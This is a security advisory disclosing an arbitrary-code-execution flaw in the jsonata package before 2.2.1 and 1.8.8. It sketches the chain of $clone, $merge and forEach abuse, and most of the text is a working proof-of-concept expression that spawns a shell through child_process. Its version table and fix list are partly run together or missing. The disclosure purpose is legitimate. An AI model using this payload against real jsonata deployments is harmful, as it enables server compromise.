| Package | Affected versions | Patched versions |
|---|---|---|
| jsonata | ≥ 2.0.0, < 2.2.1< 1.8.8 | 2.2.11.8.8 |
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to:
$clone allowing mutation of objects via transforms (see
evaluateTransformExpression)$merge.*)proc.arguments.forEach and not Array.prototype.forEachWhich could be chained to execute arbitrary code.
This was fixed with:
Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.
import jsonata from "jsonata";
const expression = jsonata(`
(
$obj := {};
$clone := function($o) { $o };
$m := ($merge.*)[1];
$fn := function($a) {
(
$a({"value":"lg"},"__lookupGetter__");
$a({"value":"x"},"x");
)
};
$nop := function() { $ };
$capture := function($val) {
$obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
};
$ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
$ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
$ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
$func := $m([$,{"_jsonata_lambda":true}]);
$func();
$gP := $obj.lg("__proto__");
$afn:=$spread($fn);
$afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);
await expression.evaluate({});
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